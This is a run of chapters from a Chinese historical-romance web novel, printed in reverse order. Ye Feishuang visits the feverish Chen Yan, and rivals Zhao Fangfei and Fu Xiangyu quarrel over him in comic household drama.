他垂着眼睛,认真看着她,像是努力用迷蒙的视线和已经不太清醒的神智确定自己没有认错人。 看了老半晌,他点头,自言自语:“这次对了。” “什么对了?”叶绯霜听不明白,“陈宴,你赶紧去歇着吧,我看你不太对。” 陈宴却朝她栽了过来。 叶绯霜:“哎,哎!” 她抬手抵住陈宴的胸口,没让他撞到门板上。 锦风听见动静,焦急地问:“公子怎么了?” “他晕了,快来帮忙。” 锦风连忙进去,将陈宴架住,往里间带。 同时朝外边的下人们喊:“快去叫府医来!” 叶绯霜跟着一起走到了陈宴的床边。 没办法,陈宴一直握着她的手腕,晕过去了都没松开。 就和人死了之后尸僵了似的,掰都掰不开。 叶绯霜掰了半天,陈宴的指骨都嘎嘣嘎嘣地响了,她也没把自己的手腕解救出来。 锦风怕她把自家公子的手给掰断了,忙道:“郑五姑娘,您且等等,大夫来了公子就能醒,就松开了。” 傅湘语和赵芳菲听见陈宴晕了,也顾不上吵架了,急忙进来看。 谁知看见的就是叶绯霜坐在床边,手腕被人死死攥着的一幕。 傅湘语呆立原地,不明白为何会这样,陈宴不是很看不上叶绯霜吗? 赵芳菲则是心中酸楚,看来她今天不光要认一个姐姐,还要认一个妹妹。 叶绯霜闭上眼,自动隔绝那四道目光。 陈宴这人干什么呢,病成这样还不老实,惹得人家两个姑娘为了他打架,他还嫌场面不够乱,还把自己扯了进来? 叶绯霜觉得很冤枉。 赵芳菲和傅湘语争风吃醋,因为她们都是他的爱慕者,自己又不是! 赵芳菲忍着心中的酸涩,问叶绯霜:“妹妹,你是哪家的?” 叶绯霜不想和人扯头发,灵机一动:“我是哪家的不重要,因为我只是个赝品。” 赵芳菲一愣:“赝品?” “是的。”叶绯霜一本正经,“陈宴有心仪的女子,但是她死了,而我和她长得比较像,陈宴病糊涂了,把我认成她了,这才抓着我不放的。” 萧序说自己和他阿姐长得一模一样,叶绯霜才不信,天底下怎么可能有一模一样的两个人?可能就是相似度比较高罢了。 果然,赵芳菲接受这个说辞后,脸色好了不少:“这样啊……” “你胡说!”傅湘语反驳,“陈公子才没有什么心仪的女子!” 叶绯霜睨她一眼:“他有没有会告诉你?你算哪个?” 赵芳菲不禁暗叹,看着陈宴真的很喜欢那位红颜早逝的姑娘,以至于一个赝品都敢这么嚣张,对他的正牌未婚妻这么说话。 傅湘语涨红了脸:“就是没有!” 叶绯霜继续打击她:“不光以前有,现在也有,你面前这位赵姑娘,就是他的新红颜。反正不管是以前还是现在,都不会是你。” 赵芳菲红了脸,傅湘语又酸又气。 就像印证叶绯霜的话似的,陈宴梦呓着叫了声:“霏霏。” 叶绯霜立刻往后挪了挪腾开位置:“赵姑娘,叫你呢。” 赵芳菲挤过来,蹲在床边,温柔地回了声:“三郎,我在这儿呢。” 叶绯霜把手腕伸过去,示意他的手在这里,需要的话可以摸。 赵芳菲没摸,总觉得三个人的手摸在一块儿怪怪的。 叶绯霜扫了一眼傅湘语:“还有地方,你也要过来加入吗?” 傅湘语再失去理智,也要脸。 这情形,她明显已经被排除在外了。 正如她来的路上想的那样,一个和他有婚约,一个是他心仪之人。 他拽着一个不放,还在梦里叫另一个。 就是没她啥事。 傅湘语受不了这刺激,登时泪流满面,转头跑了。 赵芳菲小声问叶绯霜:“你不喜欢她?” “谁?” “郑五姑娘啊。” 叶绯霜:“?” 她是郑五姑娘,那我是谁? 转而一想,懂了,估计傅湘语就是顶着她的名头混进陈府的。 叶绯霜也不想解释,怕赵芳菲再对自己升起敌意。 “不喜欢。”叶绯霜说,“刚那女的,还有陈宴,我都不喜欢。” 赵芳菲露出掩饰不住的惊喜,又有些不解:“你不喜欢三郎?” “不喜欢。” 赵芳菲看她说得毫不犹豫、一脸坦然,不像作假,顿时放了心。 那位郑五姑娘,长得一般,还没有教养,哪怕占了一纸婚约,也得不到陈宴的心。 而面前这位姑娘,和陈宴以前喜欢的人长得像,还这么漂亮,说话也很和善,更让赵芳菲感到危机。 但她对陈宴无意,那就好办多了。 大夫终于来了,赵芳菲立刻让开位置。 叶绯霜也想让开却没办法,问大夫:“能不能给他来一针,让他先把我松开?” 赵芳菲心疼陈宴,怕他疼,忙道:“三郎病弱,姑娘委屈委屈,陪他一会儿吧。” 叶绯霜:“……你真大度。” 赵芳菲揩了揩眼角:“三郎实是个长情之人,不知在梦中是否见到了意中人。” 赵芳菲很清醒,她才不会和一个死人争风吃醋。 到底已经很晚了,赵芳菲不好继续留,一步三回头、依依不舍地走了。 今天让她更明白了陈宴的心意,他在梦中竟还在叫她的名字。 大夫说陈宴没有大碍,高热退一点就能醒了。 对于叶绯霜解救自己手腕的要求,大夫表示爱莫能助。 开玩笑,他是陈府的府医,他家公子昏迷都拽着不放的人能是一般人?他又不是吃饱了撑的想砸饭碗了。 大夫走了,丫鬟们去煎药了,房间内只剩下了叶绯霜和陈宴两人。 陈宴又在梦呓:“霏霏。” 叶绯霜热出了一身汗,被陈宴拽着的手腕更是湿滑一圈,让她烦躁得厉害。 “你的菲菲走了。”她像是朵被蒸干了水分的花,蔫儿啦吧唧地说,“你的菲菲不要你了。” 陈宴浓长的睫毛抖了抖,眼尾洇出一点湿润,汇成一滴泪。 生病的人格外脆弱,还被自己一句话弄得落了泪,叶绯霜感觉自己好似干了什么伤天害理的事。 她用袖子在陈宴脸侧抹了一把,把他那滴泪擦掉,悻悻地说:“你能听见?我随口瞎说的,你别当真。” 想起赵芳菲那副情态,她又说:“你的菲菲不会不要你的,你的菲菲爱死你了。” 她看见陈宴的唇角几不可见地勾了勾,明显被哄高兴了。 “既然你能听见,那你赶紧把我松开!”叶绯霜说,“我要回去了,你……” 此时,院中忽然传来几声此起彼伏的:“给夫人请安!” 接着是陈夫人雍容温柔的嗓音:“嗯,我来看看三公子。” 叶绯霜:“!” 第117章 吃飞醋 陈宴让点灯,于是赵芳菲听话地把不远处青花缠枝立台上的蜡烛点燃了。 一豆火光摇曳着亮起,点亮了小半个厅室。 赵芳菲在温馨的烛光中回过头来,朝陈宴含情脉脉地一笑。 面容姣美,眼若芙蕖,一派好颜色。 她这一笑,如利刃电光直劈脑海,陈宴昏沉的脑子霎时间就清醒了。 他的声调瞬间变得冷硬又淡漠,方才说话时的温柔缱绻荡然无存。 “怎么是你?” 赵芳菲一愣:“不然该是谁?” 话落,房门被人一把推开。 一个人闯进来,直扑到陈宴榻前,一头扎进他怀里,抱着他大哭:“陈宴,你千万不能出事啊!” 看着这个突然闯进来的陌生女子,赵芳菲僵在了原地。 难道…… 这就是和他有婚约的那位姑娘吗? 是了,若不是她,谁还能这么大胆呢? 陈宴本就烧得体虚无力,被傅湘语这么一撞,好似有一口血涌到了喉间。 他一张嘴,还没出声,就呛咳起来。 咳嗽带动着陈伤,整个脏腑都震得闷痛。 赵芳菲心疼极了,走过去把傅湘语拽开,斥道:“你怎么这么莽撞?还嫌他不够难受吗?” 傅湘语担心了好些日子,终于见到了陈宴,情绪就有些收不住。 她没见过赵芳菲,但一猜就是她。 想到陈宴这伤就是因为她受的,又见她当真貌美,顿时又妒又酸。 转而一想,她就是个官奴婢,再好看也就这样了。 于是傅湘语反唇相讥:“他这样是谁害的,你心里没数?还说我?你算什么东西,也配管我!” 赵芳菲知道她是在拿婚约压自己,气得心绪翻涌。 但又想到,陈宴说过想娶自己当妻子,那自己也没比这位郑五姑娘差到哪里去。 “我寄居陈家,来看陈公子天经地义。倒是你,没见过哪家好姑娘直接往郎君怀里钻的,你又强到哪里去了?” “你……” 陈宴终于缓过了这口气,冷喝一声:“来人!” 锦风刚从外边回来,就听见自家公子裹挟着怒气的呵斥,急忙跑进去:“公子,怎么了?” 陈宴抬眼看向他,面容清寒,神色凌厉,用眼神在反问:你说怎么了? 锦风看着房间里的两个姑娘,目瞪口呆。 ……不是,客居那些下人都死哪儿去了?怎么让姑娘进了公子的房间呢? 不对,现在不是责怪谁的时候。 锦风忙道:“二位姑娘,请先出去吧,我们公子要休息了。” 傅湘语就和没听见似的,一味看着陈宴,关切地问:“陈公子,你还有哪里不舒服?赶紧叫大夫来吧。” 赵芳菲本来要出去了,见傅湘语不动,她也不动了。 她立刻倒了杯水,端给陈宴:“陈公子,喝些水吧。” 傅湘语则不甘落后地拿出帕子,要给他擦额头上的冷汗。 陈宴闭了闭眼,身体各处难受得厉害,用尽全力才维持着教养好不和姑娘家动手。 “都出去。” “陈公子……” “出去!” 此时,客居的下人们也都回来了。 她们还没弄清楚发生了什么,就接收到了锦风的眼神,立刻把傅湘语和赵芳菲带出去了。 陈宴捏着额角,感觉头痛、心口痛、后背痛,气儿还不顺。 锦风像只鹌鹑似的缩在一边,知道自己今天闯大祸了。 都怪公子平时对他们太宽容了,客居里的人骨子都散了。 别看陈宴是个特别讲究的人,但他很好伺候,对下人们也一直很和善。 所以几个丫鬟看他睡着了,觉得他短时间内不用人伺候,才欢天喜地地去后边竹林挂花灯了,好为上元节做准备。 没曾想就这么让人钻了空子。 外头,赵芳菲没忍住埋怨:“都怪你,才让陈公子又不舒服了。” 傅湘语冷笑:“你还有脸怪我?你什么身份?” 赵芳菲受不了她一口一个“身份”,她家里刚遭了难,陈家人都避讳着,不在她面前提这事,偏这女子,专拿这个来刺她。 怪不得都说她不是大家闺秀,果真毫无教养。 赵芳菲说:“你真配不上他。” “你就配得上了?”傅湘语十足轻蔑。 赵芳菲深吸一口气:“姐姐,我们以后是要一起过日子的,何必闹得这么难看呢?” 傅湘语被她一声“姐姐”恶心得差点吐出来:“谁和你一起过日子?” 赵芳菲说:“陈公子已经说了会娶我。” 她特别咬紧了这个“娶”字,果然看见傅湘语神情变了,不由觉得心下畅快。 “娶你?”傅湘语觉得荒谬极了,陈宴怎么会娶一个官奴婢? “是啊,三郎是这么和陈夫人说的,证明他有这个心。”赵芳菲得意道,“姐姐,三郎对我有意,你拆散不了我们。就算你看不惯我,你也得容得下我。” “你这个狐狸精!”傅湘语被这话激得破防了,“我划烂你的脸,看你还怎么勾引人!” 赵芳菲一边躲,一边叫嚷起来:“姐姐,我好好和你说话,你怎么动手呢?这般粗鲁,可怎么好?” 那些吵嚷哭闹让陈宴耐心告罄:“让她们滚出去。” 锦风忙道:“是。” 忽然,在尖锐的叫嚷声中,陈宴听见了一个熟悉的嗓音:“呃……我是不是来得不是时候?” 脑子还晕着,身体已经下了榻。 叶绯霜怎么都没想到自己会看到这么一副场景。 赵芳菲竟然在和傅湘语打架。 她先问了一个比较要紧的问题:“陈宴还活着吗?” 两人顿时把矛头全都转向了她,怒喝:“陈公子好好的,你莫要咒他!” 叶绯霜:“……” 卢!季!同! 傅湘语说:“陈公子不舒服,不会见你的,你回去吧。” 赵芳菲则问:“你又是哪个?” 叶绯霜朝她一笑:“抱歉,走错了,你们继续。” 她拔腿就往外跑。 赵芳菲一口气还没松出来,就看见刚才咳得下不来榻的陈公子,疾风似的掠了过来,挡在了那新来的女子面前。 叶绯霜打量了一下他:“你没事啊?” 陈宴说:“我有事。” 他倾身,抓着叶绯霜的手放在自己额头。 叶绯霜被手背上滚烫的热度惊了一跳。 “你这……” 话还没说完,陈宴就握住她的手腕,拽着她往房间里边走。 叶绯霜不知道烧成这样的人怎么还有这么大的力气,她几乎是被他拖进去的。 房门“砰”的一声关上。 刚才乱成了一锅粥的院子,瞬间万籁俱寂。 锦风担心前途。 下人们忧心小命。 傅湘语面色惨白。 赵芳菲一头雾水。 半晌,还是赵芳菲打破了这满院的凝滞,轻声问傅湘语:“她又是谁?” 第116章 来见他 赵芳菲想说话,但是太紧张,喉咙就和被堵住了似的。 她用力点了点头。 “还真让卢四说对了。”陈宴的声音又轻又哑,听起来特别温柔,“我以为你不会来。” 赵芳菲想说,其实她每天都来的。 “最近好不好?”陈宴又问。 这句话一出,赵芳菲的眼泪就掉了下来。 很好,太好了,是她没想过的好。 陈家给她安排了个很好的院子,吃穿用度也好,拨给她的几个下人也没有看不起她,好好地伺候她。 赵芳菲再次用力点头。 一下子心软得不行,又酸又胀,又苦又甜。 她知道陈家人都是看在他的面子上才对自己这么关照的。 不由得又想到那天他和陈夫人说的话,想娶自己,想弥补自己。 她何德何能,让他对她这么上心。 陈宴捏住她的手腕,指腹轻轻划过她的袖角。 天色更暗了,刚才还能隐约看见一点红色,现在就看不到了。 不知道是不是拿他送的那匹料子裁的衣裳。 前些日子又是她生辰,他派了人去给她送了生辰礼。 上次,那杆枪她说太贵重了,死活不收。 所以这次,他送了没那么贵重的——一匹红色的海棠纹月华锦。 他亲自去布庄挑的。 送礼的人回话说她收了。 有没有裁成衣裳穿?是不是这件? 陈宴说:“劳烦,你去点盏灯。” 他想看一看她。 —— 谢珩和陈文益说了一会儿话,见天色晚了,便起身告辞。 他没住陈府,嫌进出不方便,所以住在外边的客栈里。 出府时,见大门处正在吵嚷。 一位姑娘在哭着请求,好不可怜的模样。 谢珩问:“这是怎么了?” “哎呦,谢二公子。”小厮立刻拱手,“这位姑娘想见我们三公子,但是郑家的拜帖递上去了还没回信,咱们不能放她进府啊!” 见陈宴?郑家? 谢珩立刻打量着对方,心里有了答案:“难道你就是那郑五姑娘?” 傅湘语的哭声顿了一下。 转而一想,自己来看陈宴名不正言不顺,但若是借着叶绯霜的名号,说不定就能进去了。 她满心牵挂着陈宴,只想见他,别的什么都顾不得了。 傅湘语点头:“我是。” 她哀求谢珩:“公子,你就让我进去看看三郎吧,我实在忧心他,我只见他一面就好,我很快就出来……” 谢珩撇了撇嘴。 他还记得锦风和他说过,这郑五姑娘在陈三跟前很能作,又是要退婚又是不收礼的,玩些欲擒故纵的小把戏。 现在听说陈三出事了,这不就巴巴儿地跑过来了?装不下去了吧? 谢珩就烦这种表里不一的人,一时间对这郑五姑娘的印象差到了极点。 但她哭得又实在可怜,谢珩也不想为难个小姑娘。 况且,听锦风那意思,陈三对他这未婚妻还挺上心的。 说不定陈宴也想见她呢。 虽然对陈宴的眼神产生了怀疑,但身为兄弟,还是该助他一臂之力的。 毕竟是他陈三娶,又不是自己娶。 他喜欢就行了。 于是谢珩对那小厮道:“我带她进去,你别管了。” 这谢二公子和卢四公子一样,是自家三公子的至交好友,他都发话了,小厮当然不会再拦。 傅湘语惊喜道:“多谢公子!” 谢珩大步往客居的方向走,傅湘语连忙小跑着跟上。 而此时的卢季同,已经到了郑家一行人下榻的客栈。 进去前,卢季同从树枝上抹了把雪,在脸上使劲儿搓,直到搓得满脸通红,涕泗横流,才奔入客栈里。 “霜儿表妹!”卢季同一见到叶绯霜,就哀嚎起来,“你快去看看陈三吧!” 靳氏和郑茜静都被他这如丧考妣的模样吓了一大跳,就连叶绯霜也惊了一下。 什么情况?难道陈宴真的不行了? “表哥,陈宴怎么了?” “他……他不行了!”卢季同擦了擦被冻出来的眼泪和鼻涕,“他一直吊着一口气,就等着你呢!” 靳氏腿一软,跌坐在椅子上,差点晕过去。 卢季同扯着叶绯霜的胳膊:“来不及了,你赶紧跟我去看看他吧!迟了,你连他最后一面都见不上了!” 郑茜静也推她:“去,赶紧去!” 叶绯霜:“哎,不是……” “等下等下。”缓过神来的靳氏叫住了他们。 她飞快打开包袱,从里边拿出一件素白的银纹袿衣来。 “里边的来不及换了,外边用这个挡一下。”靳氏一边把叶绯霜的石榴红长褂脱下来,一边说,“要是三郎他……你不能再穿得这么艳了,不吉利。” 靳氏把素白袿衣给叶绯霜套好,又把她发间的绒花摘了,只用一条青缎扎了一下。 叶绯霜:“……陈宴不是还有气吗?我就要这么一副奔丧的打扮了?” 靳氏说:“冲一冲也好。” 叶绯霜无语:“听过拿喜事冲的,听过拿棺材冲的,没听过拿未婚妻的打扮冲的,真不怕给他冲走了。” 卢季同有些想笑,但他憋住了,见叶绯霜弄好了,拽着她就往外跑:“夫人说得对,冲冲也好,说不定陈三见了你,就好起来了。” 叶绯霜将信将疑:“表哥,你在骗我吧?” 前世,陈宴一直活得好好的。 怎么这一世就不行了? 她这一世是改变了一些事情,但都是和郑府有关的,牵连不到他陈宴啊! 卢季同把自己狼狈的脸冲向她:“我都难过成这样了,会是骗你的吗?” 叶绯霜:“……也是。” 卢季同捂面大哭:“我以为我能和陈三当一辈子的好兄弟,到了七老八十依然斗嘴吵架,谁知道他竟这么早早的,就要抛下我走了……” 叶绯霜:“表哥,听起来你好像陈宴的未亡人。” 卢季同:“……” 人生如戏。 叶绯霜心情复杂地被卢季同拽着狂奔了一路。 这一世,和陈宴认识快两年了。 他的确和上一世有许多不同。 他也的确帮过自己许多忙。 如果真是最后一面,来道个别也无可厚非。 在卢季同的带领下,一路通畅地到了客居最外边一层院子的门口。 卢季同把叶绯霜往里一推:“霜儿表妹,你进去吧,穿过那片白梅林,就是他的居所了。” 叶绯霜:“你不进来吗?” 卢季同抹眼:“我要去准备他的后事。” 叶绯霜:“……节哀。” 第115章 你来了 陈府,客居。 地龙烧得暖,整个房间如在盛夏。 甪端香炉里蘅芜香静静燃着,清雅怡人。 卢季同推门而入,卷着满身风雪,将房间里的香暖冲散了一瞬。 摘了斗篷,他朝正坐在明窗下榻上看书的陈宴走过来,说:“你倒是悠闲,可知道外边都说你快死了?” 陈宴的伤还没有完全好,所以房间才烧得这么热,让他不必穿太厚的衣服压到背上的伤。 所以他只穿了一件素白的中单,发也只用根发带松松束着,整个人十足的慵懒散漫。 他单手支颐,翻过一页书,问:“还说了什么?” 听着他微哑的嗓音,卢季同探了一下他的额头:“怎么还烧着呢?” “已经好多了。” 卢季同乐了:“这不和我霜儿表妹卖个苦肉计?” 外头都以为陈宴这家法是为了赵芳菲受的。 卢季同和他穿一条裤子长大,知道真相。 陈宴道:“我自作自受,算什么苦肉计。” 卢季同脱靴往榻上一靠,热得扇扇子:“你这家法受的,倒让你把年节躲过去了。” 陈宴喜静,太热闹的环境他觉得吵。 还有什么时候比过年更热闹呢? 尤其一过年,数不清的亲戚都往他跟前凑,话说个没完,听得人耳朵都痛。 今年倒好,他一病,家宴都没去参加。 陈夫人来叫他,他说他下不了床。 “你别骗我,大夫说你没那么重。” 陈宴:“那您让大夫去家宴吧,我反正起不来。” 把陈夫人气走了,他悠悠下床,作了幅红梅图。 陈文益都有些自责了,怀疑自己是不是下手太重了。 陈文益拉不下老脸来看这个不孝孙,但补品药材让人送得更勤了。 来探病的人不计其数,通通被锦风以“公子昏迷,无法见客”挡回去了。 所以外头传着传着,就成了陈宴快死了。 卢季同悠悠道:“郑家得了消息,也派人来探病了,你见不见郑家人?” “不见。” “万一来的是我霜儿表妹呢?” 陈宴翻书的手一顿,说:“不可能。” “怎么就不可能了?你都快死了,她怎么着不得来见你最后一面?哪怕她不愿意来,四老爷夫妇也得让她来。她那么孝顺,会不听她爹娘的话?” 陈宴觉得不是没有道理。 忽然觉得外边传他快死了也挺好的。 唇角扬了一下,又被他很快压了下去,但还是被卢季同捕捉到了。 “陈三啊陈三。”卢季同叹气,“你让我说你什么好。” 外头传来一个中气十足的声音:“什么情况?陈三怎么了?” 下一刻,谢珩像头蛮牛似的闯了进来。 他先奔向里间,发现床上没人,又转回来,才看见榻上的俩人。 把陈宴上下扫了一遍,谢珩皱眉:“你这不是没死吗?” 卢季同:“你不是去金陵了?” 谢珩把卢季同的腿往里推了推,在榻沿大马金刀地一坐:“我这不是听说他陈三要死了,回来见一面吗?小爷当时正听小杏仙唱曲呢,一曲都没听完,小爷就往回赶了。娘的,知道小杏仙多难约吗?” 卢季同说:“让陈三给你填一首词,你拿给小杏仙唱去。任凭她多难约,她也第一个见你。” 谢珩探身捶了陈宴一拳:“死不了吧?” 陈宴声调冷淡:“死不了。” 谢珩摸着下巴,端详着陈宴的病容:“我倒是好奇那赵三娘是个何等的美人了,竟让你从宁浔手里抢人。宁浔那个色胚,不得气炸了?” 卢季同道:“你好奇,去看看不就得了?” 陈宴说:“外男岂可随意见姑娘家。” 谢珩:“我还没说我要看呢,你这就护上了。” “不是护。人家既然住在我们陈府,我们就当保全她。她的安危、清誉、名节,都是我们的责任。” 谢珩哼哼两声,想着这人又开始了。明明就是舍不得让他看,还非得用些冠冕堂皇的理由。 谢珩坐不住,说自己去拜访陈文益了。 卢季同问陈宴:“你们打算怎么安排赵三娘?” “母亲说了,给她找个好人家。高嫁为妾,低嫁做妻,全看她怎么选。” “人姑娘怕是要伤心了。” 陈宴:“这世上从不缺伤心人。” 卢季同抨击他:“无情。” 陈宴叫来一个小厮,吩咐:“你去外门那边说一声,若是郑家来人,立刻告诉我。” 到底还病着,陈宴坐了半日,就有些精神不济了。 卢季同立刻让他回床上躺着,自己出去了。 陈宴没上床,就在榻上趴下,闭目欲睡。 傍晚,赵芳菲又来了客居。 她每日雷打不动都要来,不敢白天来,也不敢太晚来,天擦黑这个时候刚刚好。 只不过她一次都没见到陈宴。 她忧心得厉害,记挂他的伤,更惦记他这个人。 其实小时候那次,倒没让她惦记什么,她只记得是一个挺漂亮的小哥哥把自己捞起来的。 还是那天在博陵,她将被宁浔那个淫棍掳去晟王府时,看见一个年轻公子打马拔剑而来,把她从宁浔怀里拽到了他的马上。 他轻易打倒了凶神恶煞的晟王府侍卫,寒剑指着宁浔,气势凛然。 赵芳菲惶恐不安的心在那一刻就安定了下来。 到了陈府,看着慈祥的陈老爷子,娴雅的陈夫人,她觉得后半生又有靠了。 今天赵芳菲运气好,客居的下人去后边的竹林挂花灯了,被她钻了空。 赵芳菲飞快走到正门口,推门而入。 她蹑手蹑脚地进去,终于看见了伏卧在榻上的人。 素衣散落,青丝流水一样倾泻下来。 侧脸棱角分明,面容苍白,褪去了清傲,显得脆弱了许多。 赵芳菲像是被一根无形的线勾着,走过去,在他榻边蹲下,认真打量着他。 她太紧张了,连自己还裹着斗篷戴着兜帽都忘了。 等她意识到这房间太热的时候,她已经出了一身的汗。 看见陈宴额头也有汗,赵芳菲掏出帕子,轻轻给他擦。 她动作很轻,一颗心砰砰直跳,呼吸也变得粗重紊乱。 陈宴察觉到了。 睫毛颤了颤,轻轻睁开眼。 又烧了起来,浑身发冷无力,头脑昏胀,视线也模糊不清,只隐约看见一个女子的轮廓。 帕子还贴在他额头上,借着幽暗的光线,陈宴看见了垂在眼前的一片红色袖角。 他开口,声音暗哑,又有点欢喜:“你来了。” 第114章 她不配 叶绯霜没忘记自己现在的身份——一位闺阁少女。 她的脸颊立刻飞上两抹红霞,并且蔓延到了脖颈。 她小声道:“三伯母,您说什么呢……” 卢氏拍拍她的手:“你别怕羞,这话本该你娘和你说,但你娘性子太面了,等她和你说,黄花菜都凉了。去了陈家,你私底下和陈三郎说就是,委婉点,他能明白你的意思。” 叶绯霜佯装羞涩,跑出了卢氏的房间。 孩子?她前世跟陈宴在一起十一年都没生孩子。 她也和陈宴说过,自己一个人在那个小院里,太寂寞了,有个孩子陪陪她会好很多。 但陈宴说,他不想要。 他不想,叶绯霜也没办法。 想想也是,自己一个外室,要什么没什么,孩子生下来也是平白跟着她受罪,何必呢。 后来和陈宴闹掰,这事就更没下文了。 去颍川探病的事安排了起来。 郑茜静陪叶绯霜一起,由五老爷郑丰送她们去。 还有靳氏和几位族叔。万一陈宴真有个三长两短,他们得和陈家商量这桩婚约该怎么办。 同时还有几位族中的兄弟,都是在族学里和陈宴认识了的。 除此之外还有两人:傅闻达和傅湘语。 傅闻达去看陈宴天经地义,傅湘语就有点名不正言不顺了。 但是她心仪陈宴又不是什么秘密,所以也没人说什么。 几位姑娘坐一辆马车。 叶绯霜面容恬淡,郑茜静隐有愁态,傅湘语心神不宁、屡屡垂泪。 看起来,傅湘语才是那个和陈宴有婚约、并为未婚夫提心吊胆的人。 郑茜静忍不住小声问叶绯霜:“你就一点都不忧心陈三郎?” 叶绯霜说:“他肯定没事的。” 前世,陈宴也当街抢了人,想必也挨了这顿家法,后来不是好好活了那么些年?病根都没留下。 傅湘语忽然瞪向叶绯霜:“都说他病得凶险,命悬一线。你还这般悠然,简直就是没心没肺!” 自打去年鼎福居那事后,叶绯霜就和傅家兄妹撕破脸了。 只是过去这大半年,这对兄妹一直夹着尾巴做人,没和她产生什么龃龉。 但这并不代表叶绯霜忘了他们,更不代表她会放过他们。 叶绯霜嗤笑:“像你这样天天哭,他就能好了?你还教训起我来了,你拿什么立场教训我?” “你也和陈三郎认识很久了,但凡你对他有情,你就不该在他命悬一线的时候还和人说说笑笑。” “这次去探望他的哪个不认识他?照你这么说大家都该哭?让旁人看见,还以为我们这是个送葬队伍呢,你别把他再给哭走了。” 傅湘语怒从心头起,厉声斥道:“你还敢咒他!叶绯霜,你别太过分!” 叶绯霜看向郑茜静:“二姐姐,你见过那位赵三娘吗?” 郑茜静摇头:“没有。” “那这次去了,我定要见识见识,到底是怎样一位倾国倾城的美人,竟然把他陈宴都迷得神魂颠倒,为她不惜受了家法。” 郑茜静说:“我着人打听了,那‘博陵第一美人’的称号,还真不是空穴来风,还真有不少人那么说。” 傅湘语心头的怒火一下子退了,转为了几乎要将人淹没的酸楚。 “赵三娘现在寄居在陈府。救美的英雄,落难的美人,真是好一段佳话。不知道陈三郎在享受第一美人陪伴的同时,能不能记起遥远的荥阳还有一位傅姑娘,要为他把眼哭瞎了呢。” 傅湘语听懂了叶绯霜的意思——说她自作多情,说她不配。 是了,哪怕陈宴再不喜欢,叶绯霜是他未婚妻。 赵三娘和他没婚约,却是他救回去的心仪之人。 她们都和他有关系,偏她没有。 她连为他哭都名不正言不顺。 她又气又恨又酸又妒,情绪激烈翻涌,牙关打颤,浑身发抖。 但她不敢再说更过分的了,去年叶绯霜在鼎福居杀人的样子,她现在想起来都还后怕。 队伍在一座驿站停下,大家准备休整。 傅湘语从马车上跳下来,捂着脸跑进了驿站里,嚎啕大哭。 傅闻达立刻跟上妹妹。 以为她是太担心陈宴了,傅闻达安慰她说:“我打听了,陈宴情况没那么糟,你别太担心。” 傅湘语哭得伤心:“哥哥,他喜欢上了那个赵三娘,我该怎么办?” 傅闻达神情凝重。 傅湘语抽噎着说:“我不担心叶绯霜,她年纪小,粗鲁无礼,和陈公子不是一路人,陈夫人明显不喜欢她。但那个赵三娘才貌双全,还是当嫁之年,她若直接跟了陈宴,我还有机会吗?” “你和她比什么?她最多就是个妾,你难不成也要给陈三郎当妾?” “怎么可能!”傅湘语立刻说,“我肯定要给他做妻子的!” “这不就得了?外祖母劝过你很多次了,不必在意她。她家都没了,翻不了身,压不过主母去。” 傅湘语落泪不止:“可是陈宴心里有她。” 她是真的喜欢陈宴。 不光想得到他那个人,还想得到他全部的感情。 哪怕他将来三妻四妾,也希望他只爱自己一个。 傅闻达叹了口气,摸了摸妹妹的发顶。 他不忍告诉她,陈宴那人,就不是个耽于情爱的人。 他未必多喜欢那赵三娘,同理,也未必多喜欢其它人。 另外一边,叶绯霜在和铜宝说话。 铜宝指了指队伍里的一个中年男人:“那个人是秋姨娘的哥哥。” 五房的二姨娘原叫秋扇,跟了五老爷后,府里人都叫她秋姨娘。 “他本来是马厩的杂役,后来沾了秋姨娘的光,开始跟着五老爷跑生意了。” “盯着他。” 铜宝说:“他应当没胆子对姑娘做什么。” “秋姨娘是老太太的人,难保不想拿我向老太太表忠心。”叶绯霜说,“小心点总没错的。” 铜宝点头:“是。” 叶绯霜又说:“你去牙行里雇个暗探,打听一下我五叔这两年都去了哪里做生意,做了什么生意,和什么人有交集,姨娘们都是在哪里收的。” 铜宝了解了:“只要和五房有关的,都给姑娘打听回来,是吧?” “对。事无大小,我都要知道。” 这一世她面临的形式复杂很多,知己知彼,才能百战不殆。 午后,天空落了雪。 雪花飘扬了几天,一直到他们进入颍川城时,还没有停。 一行人进入客栈里休息。 郑丰笑呵呵地对她们说:“都好好歇歇,我们先给陈家递拜帖,再登门拜访。” 叶绯霜点头:“好。” 第113章 去探病 大年初二,开祠堂祭祖。 小桃一大早就给叶绯霜带来一个桃色消息:五老爷昨晚新收了十七姨娘。 是昨天家宴上给五老爷斟酒的婢女。 叶绯霜无语地笑了,昨天在院子里给老太太磕头拜年的时候,五叔哭得可惨了。 那叫一个捶胸顿足、哭天抢地,还扇了自己好几个嘴巴子,怪自己没能在母亲生病前赶回来,只盼着以后能在母亲病榻前尽孝。 看着好一个大孝子,哭得都快厥过去了,好不容易才被几个小厮搀走。 合着晚上就洞房花烛去了。 昨天家宴,妾室不能上桌。但今天祭祖,妾室得来。 毕竟进了郑家门,就是郑家人了。 叶绯霜看着五婶康氏身后跟着的那一长串女人,眼皮子都抽了抽。 郑丰虽然有十七房姨娘,但不是每一个都在的。 有的打发了,有的送人了,有的死了,带上昨晚新收的目前一共是八个。 叶绯霜看见了那个据说和自己同岁的十六姨娘。 娇娇小小的,比自己矮了一截,深深低着头,叶绯霜没看到她的脸。 察觉到一束犀利的目光,叶绯霜转头一看,见是郑丰的二姨娘。 前世对五房的了解实在有限,叶绯霜回去后让小桃打听了一下。 小桃很快就带了消息回来,原来这二姨娘以前是郑老太太身边的丫鬟,因为长得好,被郑丰看上了。 郑老太太索性就成全了一桩美事,把这丫鬟给了郑丰。 “当时,五老爷和五夫人可新婚没几天,老太太就把二姨娘给了五老爷。”小桃啧啧嘴,“这不是给五夫人添堵吗?难怪五夫人和二姨娘一直不对付。” “是老太太的丫鬟啊,难怪那么凶巴巴地看我。” 想必,这二姨娘已经知道自己在郑府的事迹了。 既然她是老太太那边的人,那和自己就是敌对阵营。 小桃又说:“二姨娘早就不受宠了,可她去年给五老爷生了儿子,又风光起来了。” 难怪今天看那二姨娘打扮得珠光宝气的,都压过五婶了。 她五婶的日子也是真挺不容易的。 接下来几天,族里一直来人拜年。 四房去年支棱起来了,来拜年的人也就多了。 叶绯霜感觉自己变成了个稀罕物,因为那些长辈们特别爱摸她的头。 后来她才知道,族里的长辈们觉得自打她回来后,四房的日子就好了,她是个特别有福的人,摸摸她能沾点喜气。 五婶康氏来找靳氏哭诉的时候,叶绯霜主动把手递了过去:“五婶摸摸霜儿的手吧,别人都说霜儿有福气,五婶摸了,以后日子会越来越好的。” 